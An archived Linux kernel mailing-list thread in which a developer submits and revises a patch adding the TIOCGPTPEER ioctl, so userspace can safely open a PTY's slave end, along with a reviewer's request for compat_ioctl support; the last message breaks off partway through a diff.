References: <20170602084858.4299-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496393371 2081 195.159.176.226 (2 Jun 2017 08:49:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Jun 2017 08:49:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org, Aleksa Sarai <asarai@suse.de>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 02 10:49:26 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dGiGr-00009Y-21
	for glk-linux-kernel-3@m.gmane.org; Fri, 02 Jun 2017 10:49:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751322AbdFBItQ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 2 Jun 2017 04:49:16 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:50610 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751217AbdFBItL (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 2 Jun 2017 04:49:11 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 45C1EABB1;
        Fri,  2 Jun 2017 08:49:09 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
In-Reply-To: <20170602084858.4299-1-asarai@suse.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2490190 gmane.linux.ports.alpha:4219 gmane.linux.ports.mips.general:59311 gmane.linux.ports.parisc:27443 gmane.linux.ports.ppc64.devel:142770 gmane.linux.ports.sh.devel:55364 gmane.linux.ports.sparc:25269 gmane.linux.kernel.cross-arch:36950
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2490190>

When opening the slave end of a PTY, it is not possible for userspace to
safely ensure that /dev/pts/$num is actually a slave (in cases where the
mount namespace in which devpts was mounted is controlled by an
untrusted process). In addition, there are several unresolvable
race conditions if userspace were to attempt to detect attacks through
stat(2) and other similar methods [in addition it is not clear how
userspace could detect attacks involving FUSE].

Resolve this by providing an interface for userpace to safely open the
"peer" end of a PTY file descriptor by using the dentry cached by
devpts. Since it is not possible to have an open master PTY without
having its slave exposed in /dev/pts this interface is safe. This
interface currently does not provide a way to get the master pty (since
it is not clear whether such an interface is safe or even useful).

Cc: Christian Brauner <christian.brauner@ubuntu.com>
Cc: Valentin Rothberg <vrothberg@suse.com>
Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 71 ++++++++++++++++++++++++++++++++--
 include/uapi/asm-generic/ioctls.h      |  1 +
 9 files changed, 76 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index f30c94ae1bdb..ff67b8373bf7 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 740219c2c894..68e19b689a00 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -91,6 +91,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 /* I hope the range from 0x5480 on is free ... */
 #define TIOCSCTTY	0x5480		/* become controlling tty */
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index b6572f051b67..674c68a5bbd0 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -60,6 +60,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
 #define FIOCLEX		0x5451
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index 49a25796a61a..bfd609a3e928 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index c9903e56ccf4..eec7901e9e65 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -93,6 +93,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
 #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 06b3f6c3bb9a..6d27398632ea 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -27,7 +27,7 @@
 #define TIOCGRS485	_IOR('T', 0x41, struct serial_rs485)
 #define TIOCSRS485	_IOWR('T', 0x42, struct serial_rs485)
 
-/* Note that all the ioctls that are not available in Linux have a 
+/* Note that all the ioctls that are not available in Linux have a
  * double underscore on the front to: a) avoid some programs to
  * think we support some ioctls under Linux (autoconfiguration stuff)
  */
@@ -88,6 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
+#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 518954e74e6d..98b004e24e85 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -105,6 +105,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83)
 #define TIOCSERGWILD	_IOR('T', 84,  int)
diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 65799575c666..19c134ca47bb 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -24,6 +24,9 @@
 #include <linux/slab.h>
 #include <linux/mutex.h>
 #include <linux/poll.h>
+#include <linux/mount.h>
+#include <linux/file.h>
+#include <linux/ioctl.h>
 
 #undef TTY_DEBUG_HANGUP
 #ifdef TTY_DEBUG_HANGUP
@@ -66,8 +69,13 @@ static void pty_close(struct tty_struct *tty, struct file *filp)
 #ifdef CONFIG_UNIX98_PTYS
 		if (tty->driver == ptm_driver) {
 			mutex_lock(&devpts_mutex);
-			if (tty->link->driver_data)
-				devpts_pty_kill(tty->link->driver_data);
+			if (tty->link->driver_data) {
+				struct path *path = tty->link->driver_data;
+
+				devpts_pty_kill(path->dentry);
+				path_put(path);
+				kfree(path);
+			}
 			mutex_unlock(&devpts_mutex);
 		}
 #endif
@@ -440,6 +448,48 @@ static int pty_common_install(struct tty_driver *driver, struct tty_struct *tty,
 	return retval;
 }
 
+/**
+ *	pty_open_peer - open the peer of a pty
+ *	@tty: the peer of the pty being opened
+ *
+ *	Open the cached dentry in tty->link, providing a safe way for userspace
+ *	to get the slave end of a pty (where they have the master fd and cannot
+ *	access or trust the mount namespace /dev/pts was mounted inside).
+ */
+static struct file *pty_open_peer(struct tty_struct *tty, int flags)
+{
+	if (tty->driver->subtype != PTY_TYPE_MASTER)
+		return ERR_PTR(-EIO);
+	return dentry_open(tty->link->driver_data, flags, current_cred());
+}
+
+static int pty_get_peer(struct tty_struct *tty, int flags)
+{
+	int fd = -1;
+	struct file *filp = NULL;
+	int retval = -EINVAL;
+
+	fd = get_unused_fd_flags(0);
+	if (fd < 0) {
+		retval = fd;
+		goto err;
+	}
+
+	filp = pty_open_peer(tty, flags);
+	if (IS_ERR(filp)) {
+		retval = PTR_ERR(filp);
+		goto err_put;
+	}
+
+	fd_install(fd, filp);
+	return fd;
+
+err_put:
+	put_unused_fd(fd);
+err:
+	return retval;
+}
+
 static void pty_cleanup(struct tty_struct *tty)
 {
 	tty_port_put(tty->port);
@@ -602,6 +652,8 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 		return pty_get_pktmode(tty, (int __user *)arg);
 	case TIOCGPTN: /* Get PT Number */
 		return put_user(tty->index, (unsigned int __user *)arg);
+	case TIOCGPTPEER: /* Open the other end */
+		return pty_get_peer(tty, (int) arg);
 	case TIOCSIG:    /* Send signal to other side of pty */
 		return pty_signal(tty, (int) arg);
 	}
@@ -718,6 +770,7 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 {
 	struct pts_fs_info *fsi;
 	struct tty_struct *tty;
+	struct path *pts_path;
 	struct dentry *dentry;
 	int retval;
 	int index;
@@ -771,16 +824,26 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 		retval = PTR_ERR(dentry);
 		goto err_release;
 	}
-	tty->link->driver_data = dentry;
+	/* We need to cache a fake path for TIOCGPTPEER. */
+	pts_path = kmalloc(sizeof(struct path), GFP_KERNEL);
+	if (!pts_path)
+		goto err_release;
+	pts_path->mnt = filp->f_path.mnt;
+	pts_path->dentry = dentry;
+	path_get(pts_path);
+	tty->link->driver_data = pts_path;
 
 	retval = ptm_driver->ops->open(tty, filp);
 	if (retval)
-		goto err_release;
+		goto err_path_put;
 
 	tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
 
 	tty_unlock(tty);
 	return 0;
+err_path_put:
+	path_put(pts_path);
+	kfree(pts_path);
 err_release:
 	tty_unlock(tty);
 	// This will also put-ref the fsi
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 143dacbb7d9a..06d5f7ddf84e 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -77,6 +77,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450
 #define FIOCLEX		0x5451
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 1/1] tty: add TIOCGPTPEER ioctl
Date: Fri, 2 Jun 2017 12:04:55 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <CAK8P3a2Q5CwofO96fXyjTVqmm23UKZjd+mOopnvKr_TusLxXpQ@mail.gmail.com>
References: <20170602084858.4299-1-asarai@suse.de> <20170602084858.4299-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496397907 32191 195.159.176.226 (2 Jun 2017 10:05:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Jun 2017 10:05:07 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jun 02 12:05:02 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dGjRw-0007qj-Hy
	for glka-linux-arch@m.gmane.org; Fri, 02 Jun 2017 12:05:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751173AbdFBKE7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 2 Jun 2017 06:04:59 -0400
Original-Received: from mail-oi0-f66.google.com ([209.85.218.66]:33739 "EHLO
        mail-oi0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750910AbdFBKE5 (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 2 Jun 2017 06:04:57 -0400
Original-Received: by mail-oi0-f66.google.com with SMTP id h4so10985167oib.0;
        Fri, 02 Jun 2017 03:04:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=IWCJkxpcZdLEdtCOq4twVtZBuEXO4rbIIFD4I0IfQC4=;
        b=haOkrB0/15pkSW9lj+T/2/nMOzlM4nreUI1uxKEmvVc8avlaMW476OJRjVhIq9194R
         HgrWEqrW6Px7nmj7PupcfpzY1q5srWSnxE0c+u8EvUHcB+EUwL46np6SXBO3Bzv3wNks
         bmaie7lomKfEFPxMxmTzpBhN+JW6KFbb+Zyr8KnQmtCSNgAr2AHnbxgvohMLrX9VV6Io
         FH4ouZnmCzq5KX+/GtOlM/3MUGLDMVVI9LzKD7DpqbrughIj6MariBp2Tt/sPlOke7TS
         twF4QA7B2HeXGuyPVOiljJjbGC5JmoyPlQK4+HVpyRe9baKIDVyf4Ie+ugtESDR39/m/
         ZxIg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=IWCJkxpcZdLEdtCOq4twVtZBuEXO4rbIIFD4I0IfQC4=;
        b=BhhqkWDNr21cBX2iY0IVT4mH8iFrZITRfc2g71AQKkh7Q9B4ivXlkfMrOU3NUQ4+sd
         l44eHvED615ZECvsmqiCbWQK4kEdf0pPsAEskLxTfBvOBEdfxhwG9iBJUYXJHMkEHbNu
         lmKHkZYKoQiIInjlKrgiNZ9qucqB1BB2apfEedB8mQPOqaPr0r9fgIAhOy2XnrCGKUR+
         pZBK9Kn7Edxf2Pm7MI4/Pa00LW6Ry0d8vQN0UUk5Ix7F/kT52VemlSwetxSyEbiSGwIR
         cpU2+OzDFVV2MXccNHTtbctShdOcK0KcKdjFKzcuKQ1LmCC4Bj/XVgVSLaZgEySKa+yJ
         6Nng==
X-Gm-Message-State: AODbwcDXWVRAVHNi9OvnRWFmijHPbOn12nGcHzUanY0WIE6KZ4jQdL/L
        uW2NY9v2uw6pACPvxKpBtzvAYdLbKA==
X-Received: by 10.157.50.11 with SMTP id t11mr4278352otc.217.1496397896070;
 Fri, 02 Jun 2017 03:04:56 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Fri, 2 Jun 2017 03:04:55 -0700 (PDT)
In-Reply-To: <20170602084858.4299-2-asarai@suse.de>
X-Google-Sender-Auth: zGeAfGYRxSmSB5DQuCaPAauM95s
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:36951 gmane.linux.kernel:2490255 gmane.linux.ports.alpha:4220 gmane.linux.ports.mips.general:59312 gmane.linux.ports.parisc:27444 gmane.linux.ports.ppc64.devel:142776 gmane.linux.ports.sh.devel:55365 gmane.linux.ports.sparc:25271
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/36951>

On Fri, Jun 2, 2017 at 10:48 AM, Aleksa Sarai <asarai@suse.de> wrote:
> When opening the slave end of a PTY, it is not possible for userspace to
> safely ensure that /dev/pts/$num is actually a slave (in cases where the
> mount namespace in which devpts was mounted is controlled by an
> untrusted process). In addition, there are several unresolvable
> race conditions if userspace were to attempt to detect attacks through
> stat(2) and other similar methods [in addition it is not clear how
> userspace could detect attacks involving FUSE].
>
> Resolve this by providing an interface for userpace to safely open the
> "peer" end of a PTY file descriptor by using the dentry cached by
> devpts. Since it is not possible to have an open master PTY without
> having its slave exposed in /dev/pts this interface is safe. This
> interface currently does not provide a way to get the master pty (since
> it is not clear whether such an interface is safe or even useful).

This should be added to the compat ioctls as well. There are two ways
of doing this:

a) like the other ioctls handled by pty_unix98_ioctl(), add it to the
list in fs/compat_ioctl.c, and check that the list is still up-to-date with
the current driver (someone else may have missed one)

b) remove all compat handling for ioctls that are specific to
pty_unix98_ioctl() and pty_bsd_ioctl() from fs/compat_ioctl.c
and add compat_ioctl callback pointers to master_pty_ops_bsd
and ptm_unix98_ops, pointing to the respective ioctl handlers.

I would recommend b) as it avoids the problem in the future,
but it is a little more upfront work, and should be done as a
separate preparation patch.
All the ioctls here are compatible between 32-bit and 64-bit
user space, so no special translation is needed.

      Arnd


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 0/2] tty: add TIOCGPTPEER ioctl
Date: Sat,  3 Jun 2017 23:51:09 +1000
Lines: 30
Approved: news@gmane.org
Message-ID: <20170603135111.5444-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496497893 29635 195.159.176.226 (3 Jun 2017 13:51:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 13:51:33 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-sh-owner@vger.kernel.org Sat Jun 03 15:51:29 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1dH9Si-0007OR-8E
	for glps-linuxsh-dev@m.gmane.org; Sat, 03 Jun 2017 15:51:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751173AbdFCNvd (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Sat, 3 Jun 2017 09:51:33 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:53987 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750775AbdFCNvc (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Sat, 3 Jun 2017 09:51:32 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id CA5B2AB46;
        Sat,  3 Jun 2017 13:51:29 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55369 gmane.linux.kernel:2490999 gmane.linux.ports.alpha:4221 gmane.linux.ports.mips.general:59364 gmane.linux.ports.parisc:27445 gmane.linux.ports.ppc64.devel:142816 gmane.linux.ports.sparc:25291 gmane.linux.kernel.cross-arch:36960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55369>

Changes in v3:
  * Defined a compat_ioctl callback for all pty ioctls, since they are
    all 32-bit and 64-bit compatible.
  * Made TIOCGPTPEER support 32-bit userspace.

Aleksa Sarai (2):
  tty: add compat_ioctl callbacks
  tty: add TIOCGPTPEER ioctl

 Makefile                               |  1 +
 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 93 ++++++++++++++++++++++++++++++++--
 fs/compat_ioctl.c                      |  6 ---
 include/uapi/asm-generic/ioctls.h      |  1 +
 11 files changed, 99 insertions(+), 11 deletions(-)

-- 
2.13.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Sat,  3 Jun 2017 23:51:10 +1000
Lines: 113
Approved: news@gmane.org
Message-ID: <20170603135111.5444-2-asarai@suse.de>
References: <20170603135111.5444-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496497903 31508 195.159.176.226 (3 Jun 2017 13:51:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 13:51:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 03 15:51:38 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dH9Sr-0007sI-Lx
	for glk-linux-kernel-3@m.gmane.org; Sat, 03 Jun 2017 15:51:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751255AbdFCNvk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 3 Jun 2017 09:51:40 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54003 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750775AbdFCNvg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 3 Jun 2017 09:51:36 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 53730AB46;
        Sat,  3 Jun 2017 13:51:34 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
In-Reply-To: <20170603135111.5444-1-asarai@suse.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2491000 gmane.linux.ports.alpha:4222 gmane.linux.ports.mips.general:59365 gmane.linux.ports.parisc:27446 gmane.linux.ports.ppc64.devel:142817 gmane.linux.ports.sh.devel:55370 gmane.linux.ports.sparc:25292 gmane.linux.kernel.cross-arch:36961
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2491000>

In order to avoid future diversions between fs/compat_ioctl.c and
drivers/tty/pty.c, define .compat_ioctl callbacks for the relevant
tty_operations structs. Since both pty_unix98_ioctl() and
pty_bsd_ioctl() are compatible between 32-bit and 64-bit userspace no
special translation is required.

Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 Makefile          |  1 +
 drivers/tty/pty.c | 22 ++++++++++++++++++++++
 fs/compat_ioctl.c |  6 ------
 3 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/Makefile b/Makefile
index 470bd4d9513a..fb689286d83a 100644
--- a/Makefile
+++ b/Makefile
@@ -401,6 +401,7 @@ KBUILD_CFLAGS   := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
